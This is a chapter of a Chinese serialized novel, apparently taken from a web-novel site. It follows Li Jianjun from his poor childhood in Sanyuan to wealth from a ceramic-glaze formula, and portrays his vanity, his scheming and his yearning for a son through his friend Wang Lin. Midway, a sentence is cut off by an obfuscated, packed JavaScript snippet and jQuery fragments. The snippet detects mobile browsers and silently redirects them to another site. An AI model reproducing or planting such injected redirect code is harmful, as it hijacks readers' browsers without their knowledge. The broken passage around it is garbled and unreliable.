40.第 40 章

作品:《《半生债》

    《半生债》下卷第10章·三原黄土


    三原的黄土,和别处不一样。


    那是一种厚厚的、黏黏的、能直立成墙的黄土。站在塬上望出去,沟沟壑壑,起起伏伏,像大地皱起的皮肤。风一吹,黄土就扬起来,细细的,蒙蒙的,把天都染黄了。若是赶上春天,风里还带着荠荠菜的苦味和野桃花的涩香,丝丝缕缕的,钻进人的鼻子里。


    三原县在关中平原的腹地,往北是铜川,往南是西安。泾河和清河从这里流过,冲出一片肥美的土地。可再肥美,也改变不了黄土的颜色。房子是黄的,路是黄的,庄稼地是黄的,人的脸,也透着那种黄土地养出来的颜色——不是黑,不是红,是那种洗也洗不净的黄,像被太阳和风揉进了骨子里。


    李见俊就出生在这里。


    一九六二年,三年困难时期刚过,他娘生了他。那时候家里穷,吃了上顿没下顿,他娘没奶,就熬小米汤喂他。小米也是黄的,熬出来黄澄澄的,上面漂着一层米油,跟这黄土一个色儿。他娘把米汤灌进搪瓷缸里,一勺一勺喂他,嘴里念叨着:“娃呀,快长,长大了就有白馍吃了。”


    他爹是农民,种了一辈子地。瘦,黑,手上全是老茧,指甲缝里嵌着洗不掉的泥。他娘也是农民,忙完地里忙家里,一天到晚脚不沾地。上面有两个姐姐,下面还有一个弟弟。一家六口,挤在三间土坯房里,冬天漏风,夏天漏雨。下雨的时候,屋里摆满了盆盆罐罐,接那些从屋顶漏下来的水,叮叮当当的,像开音乐会。


    可李见俊从小就聪明。


    不是那种老老实实的聪明,是那种会琢磨的聪明。一件事想不明白,他能整夜整夜不睡。一个东西做不好,他能反复反复地改。他爹说,这孩子,心里有根筋,比别人多绕了几道弯。村里人见了,都说:“老李家的老大,将来不是一般人。”他爹听了,嘿嘿笑两声,继续低头锄地。


    上学的时候,李见俊成绩不差,可也不拔尖。不是学不会,是不肯下死功夫。他喜欢想,喜欢琢磨,喜欢找捷径。老师讲一道题,他用一种方法解出来,就满足了。可他不,他非要再想两种、三种方法,看看哪种最省事。有时候想得入了迷,老师叫他都听不见。


    他爹不懂这些,只知道儿子要考大学。


    那时候考大学,比现在难多了。全县一年考出去几十个,就算多的。李见俊考了三年,才考上。


    头一年,差几分。他爹说:“没事,再补一年。”


    第二年,还差几分。他爹抽了一夜的旱烟,第二天说:“再补一年,最后一年。”


    第三年,他娘偷偷跟他说:“娃呀,你爹说了,再考不上,就回家种地吧。”


    他没吭声,背着馍布袋,又去了县城。


    那三年,他住在县城的一间破房子里。房子是土坯的,窗户上糊着旧报纸,门关不严,冬天风往里灌。他裹着被子看书,手冻得握不住笔,就哈一口气,搓一搓,接着写。夏天热得睡不着,他就搬到院子里,就着月光看,蚊子叮得满身是包。


    吃的是从家里背来的馍。馍是玉米面做的,硬邦邦的,掰开能砸死人。他就着开水,一口一口地泡软了吃。有时候馍长毛了,他也不舍得扔,把毛刮一刮,照样吃。


    同学都考走了,就剩他一个,还在那儿熬。


    有一回,他实在熬不下去了,夜里跑到县城外的塬上,对着那些沟沟壑壑,大喊了一声。喊完了,蹲在地上,哭了。


    哭完了,擦擦眼泪,又回去看书了。


    第三年,他考上了西北纺织学院,材料系。


    那一年,他已经二十一岁。


    ---


    西北纺织学院在西安,金花南路那边。


    那几年,正是八十年代初,改革的风刚刚吹起来。西安城里到处是机会,到处是可能。李见俊从三原出来,进了城,像一尾鱼游进了大河。


    他学的是材料系。这专业在当时不算热门,可他喜欢。材料这东西,看不见摸不着,却处处都在。一种材料改一点,性能就全变了;一种配方调一下,成本就降下来了。他爱琢磨的性子,正好用上了。


    大学四年,他没闲着。上课听讲,下课泡图书馆,放假就去工厂实习。他不满足于课本上的那点东西,总想看看真正的材料是怎么生产出来的。那些工厂里的老师傅,见他虚心好学,也愿意教他。


    有一回,他在一个陶瓷厂实习,看见工人们在配釉料。那种釉料是从南方买来的,贵得很,一吨好几万。他心里就琢磨,这东西,咱自己能不能做?


    他把想法跟师傅说了,师傅笑了,说:“人家那是专利,多少年才研究出来的,你一个学生娃,能做出来?”


    他没吭声,心里却记下了。


    毕业后,他被分配到东海市一家乡镇企业,做质量检测员。


    那个厂是做建筑陶瓷的,在东海郊区。说是厂,其实就是一个大院子,几排破厂房,几十个工人。他从西安来到东海,坐了二十多个小时的火车,下车的时候,满眼都是陌生的景象。


    可他不怕。他年轻,有劲,有琢磨不完的事。


    厂里生产的陶瓷砖,质量时好时坏。他做质检,天天盯着那些砖看。看颜色,看纹路,看有没有裂纹。看着看着,他就看出了门道——问题不在砖上,在釉上。


    釉料是进口的,贵,可质量也不稳定。有时候这一批好,下一批就差了。厂里也没办法,只能凑合用。


    李见俊又想起了当年在西安那个念头。


    他开始偷偷做实验。没有实验室,就在宿舍里做。没有设备,就用最土的办法。他把釉料拿回来,一样一样地分析,一种一种地配。烧,看效果;再烧,再看。失败了无数次,可他不停。


    宿舍里摆满了瓶瓶罐罐,床上桌上都是。工友们回来,连个坐的地方都没有。有人烦了,跟他吵,他也不恼,嘿嘿笑两声,把东西挪一挪。


    有一回,他把配方搞错了,烧出来的东西像一坨屎,又黑又臭。同宿舍的人骂他:“李见俊,你他娘的到底在搞什么?这屋里还能住人吗?”


    他还是嘿嘿笑,说:“快了快了,马上就成功了。”


    人家说:“你这话说了八百遍了。”


    他继续笑,继续搞。


    半年后,他配出了一种新的釉料配方。


    成本比进口的低一半,质量比进口的还稳定。他拿给厂长看,厂长不信,让他试。他就试,一窑砖烧出来,光泽度、硬度、耐磨度,都比原来的好。


    厂长愣了。


    后来,厂长跟他说:“小李,你干得好。这样,你负责生产,厂里包销。你赚你的,厂里赚厂里的。”


    李见俊想了想,说:“行。”


    这是他第一次创业。小打小闹,就一个人,几口大缸,几样原料。白天上班,晚上干自己的。累了就在地上躺一会儿,醒了接着干。一年下来,竟然赚了几万块。


    那时候,几万块是天文数字。


    他心里有了底。


    后来,他又改进配方,又降低成本。产品质量越来越好,找他的人越来越多。他不满足于只卖给自家厂,开始往外跑。南边,北边,哪里需要釉料,他就往哪里跑。


    有一回,他去了佛山。


    佛山是中国陶瓷之都,大大小小的陶瓷厂,遍地都是。他带着自己的样品,一家一家上门推销。开始没人理他,一个外地来的,能有什么好东西?可他不死心,一家一家试,一家一家磨。


    有一家厂的老板,看他跑了好几趟,心软了,说:“行,试试吧。”


    一试,效果出奇的好。


    一传十,十传百,他的名气在佛山传开了。


    他在佛山的大学同学,也帮了他不少忙。同学在当地多年,人脉广,路子熟。两个人一合计,合伙干。南方的市场,北方的市场,一起做。


    几年下来,他成了爆发户。


    ---


    有钱了,第一件事是买车。


    他买了一辆奥迪A8,顶配,一百多万。不是新车,是抵账来的。可那也是奥迪,是A8,是当时东海市数得着的好车。


    车是黑色的,又大又长,开在路上,像一艘船。他喜欢开着这辆车到处跑,去谈生意,去吃饭,去会朋友。车停在哪里,都有人多看两眼。


    有一回,他请王霖吃饭,开着这辆车去接他。王霖上车一看,车里收拾得干干净净,坐垫上套着那种透明的塑料套,座椅靠背上也套着,连方向盘都套了个套。


    李见俊见他看,笑着说:“保护一下,新车嘛。”


    王霖点点头,没说什么。


    后来李凯君告诉王霖一件事。


    有一年,李见俊花了三万块钱,买了一套高档沙发。真皮的,实木的,摆在家里气派得很。可过了三年,李凯君去他家里,发现那沙发上的保护塑料薄膜还没撕下来。


    李凯君问他:“你这沙发都买了三年了,怎么还不撕?”


    李见俊说:“撕它干啥?保护沙发。”


    李凯君笑了:“那你这沙发买来是坐的还是供的?”


    李见俊也笑,说:“你不懂。这东西,撕了就旧了。不撕,永远都是新的。”


    李凯君回来跟王霖说:“他那个人,你说他抠吧,他花钱如流水。你说他大方吧,沙发上的塑料膜三年不撕。我真服了。”


    王霖听了,没笑。


    他懂那种感觉。


    那不是抠,是一种说不清的东西。是穷过的人才有的习惯,是苦过的人才懂的珍惜。那层塑料薄膜,保护的不是沙发,是心里那个曾经什么都买不起的少年。只要不撕,那沙发就还是新的,他就还是那个刚刚拥有它的人。


    就像他脸上那种未老先衰的痕迹。明明才四十出头,看着却像五十多。头发稀了,皱纹深了,眼袋也大了。那是熬出来的,是那些年熬出来的。


    从三原到西安,从西安到东海,从打工仔到大老板,他熬了多少夜,喝了多少酒,扛了多少事,都写在脸上。


    那层塑料薄膜,也写在他心里。


    ---


    李见俊好面子。


    有钱之后,这一点越来越明显。去酒店吃饭,总是抢着买单。几千块的饭钱,眼睛都不眨就付了。朋友聚会,他抢着买单;应酬客户,他抢着买单;有时候不相干的人吃饭,他也抢着买单。


    买完单,话就多起来。


    他开始讲自己的发家史。讲自己怎么从三原出来,怎么考上大学,怎么研究出釉料配方,怎么把生意做到南方北方。讲的时候,嗓门大,手势多,脸上的表情也丰富起来。他讲得兴起,唾沫星子能溅到对面人的脸上。


    “我那配方,”他说,“多少人想买,我不卖。那是我的命根子。当年我在宿舍里捣鼓,同宿舍的人骂我,说我是疯子。现在那些人呢?还在厂里当工人,一个月拿几百块。”


    “我在佛山的时候,”他说,“那些大老板,见了我都得叫一声李总。我请他们吃饭,一桌好几千,眼都不眨。他们服我,为啥?因为我有真本事。”


    “我那个奥迪,”他说,“别看是抵账的,开起来比新车还稳。那小子欠我钱,还不起了,把车抵给我。我说行,我吃亏就吃亏,谁让我心善呢?”


    他越说越兴奋,越说越收不住。有时候一桌人都不说话了,就听他在那儿讲。他也不觉得尴尬,就那么讲。


    有一回,出事了。


    那天王霖和市委的一个老乡吃饭,打电话叫李见俊过来。李见俊来了,坐下就开始喝酒。喝到一半,他悄悄出去,把账结了。


    结完账,他又开始讲。


    讲他这些年赚了多少钱,讲他认识多少大人物,讲他在老家盖了多气派的房子。越讲嗓门越大,越讲话越狂。


    同桌有几个东北人,是做生意的,本来好好的,听着听着就不对劲了。


    其中一个东北汉子放下筷子,看着他,说:“兄弟,你这话啥意思?显摆你有钱?”


    李见俊没反应过来,还在那儿讲:“不是显摆,是事实嘛。咱这人,有啥说啥……”


    另一个东北人站起来,脸色不好看:“九百块钱,谁掏不起?你掏了就掏了,用得着这么显摆?我一年请客吃饭花十几万,我说过啥?”


    气氛一下子紧张起来。


    王霖赶紧站起来打圆场,说都是朋友,都是朋友,喝多了喝多了。


    可那几个东北人不买账。他们说,不是钱的事,是人的事。有钱怎么了?有钱就能这么说话?有钱就能瞧不起人?


    说着说着,有人拍桌子,有人站起来,眼看要动手。


    王霖的那个市委老乡开口了。他说话不多,就那么几句,不轻不重的,却把场子压住了。他说:“都是出来混的,和为贵。今天这顿饭我请,大家给我个面子。”


    东北人看了看他,没再说什么,坐下来,继续喝酒。可那气氛,怎么也回不来了。


    后来,那顿饭就这么散了。


    王霖送李见俊回去,一路上没说话。李见俊坐在副驾驶上,也沉默着。到了地方,他下车,跟王霖说了一句:


    “王总,今天谢谢你。”


    然后就走了。


    王霖看着他的背影,忽然觉得,这个人其实不坏。就是太想证明自己了。太想让别人知道他有钱,有本事,有面子。可越是这么想,越容易露怯,越容易出事。


    从三原那个土坯房里走出来的人,那种想证明自己的劲儿,一辈子也改不了。


    ---


    李见俊最在意的,是儿子。


    他有三个女儿。


    第一个女儿出生的时候,他没当回事。闺女就闺女,以后再生。第二个女儿出生的时候,他心里有点嘀咕,但还是没当回事。第三个女儿出生的时候,他坐不住了。


    那是计划生育最严的年代。一对夫妻只能生一个,超生就要罚款,就要处分。他是党员,是厂长,是名人,更不能超生。可他不甘心。


    回到三原老家,村里人见了他,笑着打招呼:“见俊回来啦?城里发财了吧?”


    可那笑里,他总觉得藏着什么。


    有一回,一个远房亲戚喝多了酒,拍着他的肩膀说:“见俊啊,你挣那么多钱,没个儿子,都是给别人挣的。”


    他听了,没吭声。


    回来之后,他一夜没睡着。躺在宾馆的床上,盯着天花板,脑子里全是那句话——“没个儿子,都是给别人挣的”。


    他开始四处求医问药。中医西医,偏方秘方,只要能生儿子,什么都试。他老婆跟着他,吃药吃得脸都肿了,身体也垮了,可他不肯停。


    有一回,他带老婆去看一个老中医。老中医把了脉,开了药,临走时悄悄跟他说:“生男生女,是男人的事,不是你老婆的事。”


    他愣了。


    后来,他自己也开始吃药。什么鹿茸、人参、海马,大把大把地吃。吃得鼻血直流,还在吃。


    可还是生不出儿子。


    他想了个办法。


    把孩子生在别人名下。找信得过的人,把孩子户口落在他们家。这样既不违反政策,又能把孩子生下来。


    他四处活动,找关系,托人情。请客送礼,花钱如流水。终于,把事情办妥了。


    五十岁那年,他有了儿子。


    儿子出生那天,他在医院走廊里走来走去,坐立不安。一会儿站起来,一会儿坐下,一会儿又站起来。护士出来说,母子平安,是个男孩。他愣了半天,然后蹲在地上,哭了。


    哭完了,站起来,掏出手机,挨个打电话:“我生了个儿子!我有儿子了!”


    后来,他走哪儿都带着儿子。去吃饭带着,去谈生意带着,去见朋友也带着。儿子骑在他脖子上,小手抓着他的头发,他笑得合不拢嘴。逢人就介绍:“这是我儿子,我儿子!”


    三个女儿围着他们,他看着她们,心里有愧疚,可更多的是满足。他想,女儿也要疼,儿子也要有。这才是一个完整的家。


    有一次喝酒,他跟王霖说:“王总,你不知道,我这辈子,最得意的就是这个儿子。”


    王霖没说话。


    他又说:“我知道,我这想法老土。可我就是老土,我就是从三原那个土窝窝里爬出来的。我爹妈,我爷爷奶奶,我祖祖辈辈,都想要个儿子。到了我这儿,我不能没有。”


    王霖还是没说话。


    他喝了一口酒,又接着说:“三个闺女,我也疼。供她们吃,供她们穿,送她们出国。可儿子不一样。儿子是根,是传承,是我死了以后,还有人记得我。”


    王霖看着他,忽然有些理解他了。


    不是认同,是理解。理解那种从土地里长出来的观念,理解那种被时代裹挟着往前走、却怎么也甩不掉的东西。那东西像黄土一样,粘在身上,洗也洗不净。


    他想,这就是李见俊。他有他的精明,有他的算计,有他的那些让人看不惯的地方。可他也有他的根,他的念想,他的放不下。


    那个从三原黄土里走出来的人,无论走多远,心里都装着那片黄土,装着那个没儿子就会被笑话的村子,装着那句“都是给别人挣的”。


    ---


    李见俊的三个女儿,都聪明。


    大女儿像他,会琢磨。从小就知道自己想要什么,怎么要。考大学的时候,成绩够了,可她非要出国。李见俊说,行,花钱就花钱。他就花钱,把她送出去了。大女儿去了加拿大,学的是商科,毕业后留在那边工作。每年过年打电话回来,说那边冷,冬天零下三十度,出门裹得跟粽子一样。李见俊听着,心疼,可也没办法。


    二女儿像她妈,安静。不爱说话,不爱出头,就喜欢看书。李见俊说,你喜欢什么就学什么,钱不是问题。


    三女儿最小,最娇。李见俊宠她,什么都依她。她要什么给什么,想去哪儿就去哪儿。


    “老大在加拿大,说那边冷,冬天零下三十度。我让她回来,她说工作忙,回不来。。。。。。”


    王霖听着,不说话。


    他想起自己的女儿。也在外面,一年回来不了几次。想的时候,就打电话,发微信,看看照片。可那些东西,代替不了见面。代替不了她小时候骑在自己脖子上的感觉,代替不了她喊“爸爸”的声音。


    有一回,李见俊说:“王总,你说,我们把孩子送出去,是对是错?”


    王霖想了想,说:“对错不知道,但这是她们想要的路。咱们那会儿,不也是从家里走出来,去了外面吗?”


    他点点头,没再说话。


    那一刻,王霖觉得,他不是那个精明的生意人,不是那个爱算计的股东,就是一个普通的父亲。想念女儿的父亲。


    ---


    李见俊太聪明了。


    这是王霖跟他相处多年后的结论。


    不是贬义,是陈述。他确实聪明,会琢磨,会算计,会抓住机会。别人看不见的,他能看见;别人想不到的,他能想到;别人不敢干的,他敢干。


    可他这聪明,也有问题。


    他太爱琢磨人了。


    一件事,明明可以直来直去,他非要绕几个弯。一个人,明明可以坦诚相待,他非要先猜来猜去。他觉得这样才能不吃亏,才能把握主动,才能立于不败。


    可结果呢?结果是别人越来越不信他。


    王霖发现,李见俊说话,十句里能信五六句就不错了。不是他故意骗人,是他习惯性地把自己藏起来,把真实意图藏起来。他总觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235742|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得,让人看透了,就输了。


    有一回,王霖跟他谈一件事,谈了半天,云山雾罩的,最后也不知道他到底什么意思。王霖急了,说:“你就直说吧,行还是不行?”


    他愣了一下,然后笑了,说:“王总,你这么直,容易吃亏。”


    王霖说:“吃亏也比猜来猜去强。”


    他没再说话。


    后来,他和宋泰生走得很近。两个人都是爱琢磨的,凑到一起,天天琢磨。琢磨市场,琢磨对手,琢磨王霖。很多事,他们商量着定,定完了,王霖才知道。


    王霖不计较。不是不生气,是觉得没必要。计较来计较去,又能怎样?把精力花在那些事上,不如去研究研究肥料,不如去枸杞地转转,不如写点东西。


    可李见俊不一样。他计较。他什么都计较。谁多赚了,谁少赚了,谁占便宜了,谁吃亏了,他心里都有一本账。那本账,密密麻麻的,记着他所有的算计。


    后来,环保政策收紧,他的陶瓷生意一个个倒下。他把希望放在王霖的肥料厂上,可他又不放心。用人不放心,放权不放心,什么事都想自己抓着。结果呢?机会一个接一个错过,事情一件接一件耽误。


    王霖有时候想,这个人,聪明反被聪明误。


    可他没说出来。


    ---


    后来,李见俊开始信佛。


    不是真信,是那种有事就求、没事就忘的信。他家里供着一尊佛像,逢年过节烧烧香,初一十五拜一拜。有什么大事,也去庙里求一求。


    王霖去过他家一次,看见了那尊佛像。金身的,挺大,供在客厅最好的位置。旁边还放着水果,点着香,烟气袅袅的。佛像前面,还放着一个小盒子,里面是零钱,是香火钱。


    李见俊说:“这尊佛,开过光的。大师亲自开的光,花了好几万。”


    王霖点点头,没说什么。


    他想起那些年李见俊做的事。那些算计,那些隐瞒,那些对人不对事的琢磨。他想,不知道他拜佛的时候,心里想的是什么。是求财?求平安?还是求原谅?


    有一回,李见俊拉着他去庙里。说有个高僧,讲经讲得好,一起去听听。王霖就去了。


    庙不大,在郊区的一个山坡上。院子干净,松柏苍翠,香火味淡淡的。高僧坐在堂上,讲的是《心经》。讲色即是空,空即是色,讲得慢,讲得轻,讲得人昏昏欲睡。


    李见俊坐在前面,听得认真,不时点头。那样子,像小学生听老师讲课。


    听完经,他非要请高僧吃饭。高僧不吃,他就捐了一笔香火钱。捐完,脸上有一种满足的表情,像完成了一件大事。


    回去的路上,他跟王霖说:“王总,你说,这世上,到底有没有因果?”


    王霖说:“有吧。”


    他点点头,沉默了一会儿,又说:“那我这些年做的那些事,会不会有报应?”


    王霖没回答。


    他也没再问。


    车里很安静。窗外的路灯一盏一盏地掠过,光影在他脸上明明灭灭。那张未老先衰的脸,在那一刻,显得格外疲惫。


    ---


    后来,肥料厂的事,越来越没意思。


    市场竞争激烈,小环境明争暗斗,为那么点名利,不值当。王霖开始把精力转向技术研究,转向游山玩水,转向文学创作,转向书法。他写文章,写那些他见过的人,听过的事,走过的路。


    有一回,他写了一篇关于身体的文章,发在网上。很多人看,很多人转。有人留言说,写得真好,说出了我的心声。


    他看着那些留言,心里有了一点安慰。


    李见俊也看见了那篇文章。他给王霖打电话,说:“王总,你写得好。”


    王霖说:“谢谢。”


    他顿了顿,又说:“你说那些话,我也该听听。”


    王霖没说话。他知道,李见俊不会听。他那种人,一辈子都在追,都在争,都在算。让他停下来,比登天还难。


    果然,没过多久,他又折腾起来。想找新的项目,新的机会,新的发财路。有一回,他想把肥料厂卖给一个叫黄文的人,价格很高,王霖同意,宋泰生也同意。可他又不干了。


    他说想和黄文合作,再发一次大财。条件谈不拢,拖来拖去,黄了。


    王霖后来想,这就是李见俊。善于算计人,不善于做具体事。也能成功,也能挣钱,可心里总不踏实。因为他知道,那些钱,那些名,那些别人眼里的成功,都悬着,不知道什么时候就掉了。


    三原的黄土,还是那片黄土。可站在黄土上的人,已经走了很远。


    ---


    那一年的秋天,王霖去了三原。


    不是专门去的,是路过。从西安往北走,路过三原,他忽然想下车看看。


    县城比他想象的大,也比想象的繁华。街道宽宽的,楼房高高的,人来人往的,跟他听说的那个贫穷的小县城,完全不一样。


    可他没在县城停留,而是往乡下走。


    越走,路越窄,房子越矮,天越宽。到最后,就是那种典型的关中农村——土坯房,土院墙,土路,土坡。黄土的颜色,无处不在。


    他在一个村口停下,站在那儿,望着远处。


    正是傍晚,夕阳西斜,把整个塬都染成了金色。沟沟壑壑,起起伏伏,在夕阳里像一幅画。有炊烟从村子里升起来,细细的,斜斜的,被风吹散了。空气里有烧柴火的味道,混着黄土的气息,还有远处传来的一两声狗叫。


    他想起李见俊。想起他说过的那些话,想起他做过的那些事,想起他那张未老先衰的脸。想起他抢着买单的样子,想起他抱着儿子的笑容,想起他沙发上那层三年没撕的塑料薄膜。


    他想,李见俊就是从这样的地方走出来的。从这样的土坯房,这样的土院墙,这样的黄土塬上,一步一步,走到了西安,走到了东海,走到了那个奥迪A8的方向盘后面。


    他走得很远,可身上一直带着这里的黄土。


    那些黄土,在他脸上,在他眼里,在他说话的方式里,在他做事的方式里。擦不掉,洗不净,跟着他一辈子。


    王霖站在那里,看着夕阳一点点落下去,看着塬上的颜色一点点变暗,看着炊烟一点点消失在暮色里。


    他忽然想起一句话:每个人都有自己的根。有的扎在土里,有的扎在水里,有的扎在心里。


    李见俊的根,就扎在这片黄土里。


    无论他走多远,无论他多有钱,无论他多风光,这片黄土都会一直在他心里。在他喝酒吹牛的时候,在他抢着买单的时候,在他算计来算计去的时候,在他搂着儿子笑的时候,在他看着女儿照片发呆的时候。


    那片黄土,是他的来处,也是他的归处。


    如今,李见俊算是三原的名人了吧。


    王霖不知道。他没问过,李见俊也没说过。可他想象得到——在三原那个小地方,出了一个开奥迪的,出了一个身价千万的,出了一个能把孩子送到国外的,那还不是名人吗?


    那些从土坯房里走出来的人,那些还在土里刨食的人,看见李见俊,会怎么想?


    大概会觉得,这人真行。会羡慕,会嫉妒,会佩服,会说酸话。可不管怎么说,他都是一个符号,一个“走出去并且成功了”的符号。


    可王霖知道,那个符号下面,是一个活生生的人。


    一个从三原黄土里走出来的人。一个考了三年才考上大学的人。一个靠琢磨配方发了家的人。一个抢着买单也抢着吹牛的人。一个为了生儿子四处求医问药的人。一个信佛也信钱的人。一个算计来算计去也算不明白的人。一个沙发上套着三年塑料薄膜舍不得撕的人。


    他有他的优点——聪明,能干,敢闯,舍得花钱。他也有他的缺点——太精明,太算计,太爱面子,太在意别人怎么看。


    可他活着。他认真地、用力地、使劲地活着。他从那片黄土里长出来,拼命往上长,长成了一棵树。那棵树不一定直,不一定好看,可它长在那儿,风吹过,雨打过,它还在。


    这就够了。


    王霖站在三原的村口,望着暮色里的黄土塬,心里忽然很平静。


    他想,每个人都有自己的路。李凯君有李凯君的路,宋泰生有宋泰生的路,李见俊有李见俊的路,他也有他的路。那些路不同,可都在同一个时代里,都在这片土地上。


    他们从不同的地方来,往不同的地方去。可他们都活着,都挣扎着,都努力着。都用自己的方式,在这人间留下一点痕迹。


    这就够了。


    暮色越来越深,塬上的村庄亮起了灯。一点一点的,在黑暗中闪烁。


    王霖转身,上了车,发动,慢慢驶离。


    后视镜里,三原的黄土塬越来越远,越来越小,最后消失在夜色里。


    他想起李见俊说过的一句话:“王总,你说,人这辈子,到底图啥?”


    他当时没回答。


    现在他想,也许图的就是这点痕迹。这点有人记得、有人记录的痕迹。


    他会在书里写下这些人。写下李凯君,写下宋泰生,写下李见俊。写下他们走过的路,写下他们的故事,写下他们在这人间留下的痕迹。


    也许有人看,也许没人看。可他写了,他们就活着。在文字里活着,在时间里活着,在这片土地上的记忆里活着。


    这就够了。


    ---


    谨以此章,献给一个从三原黄土里走出来的人,一个一辈子都在追、在争、在算的人,一个聪明反被聪明误、却从未停下脚步的人。


    三原黄土厚,人生路更长。


    半生债,一世情。


    黄土不语,斯人如歌。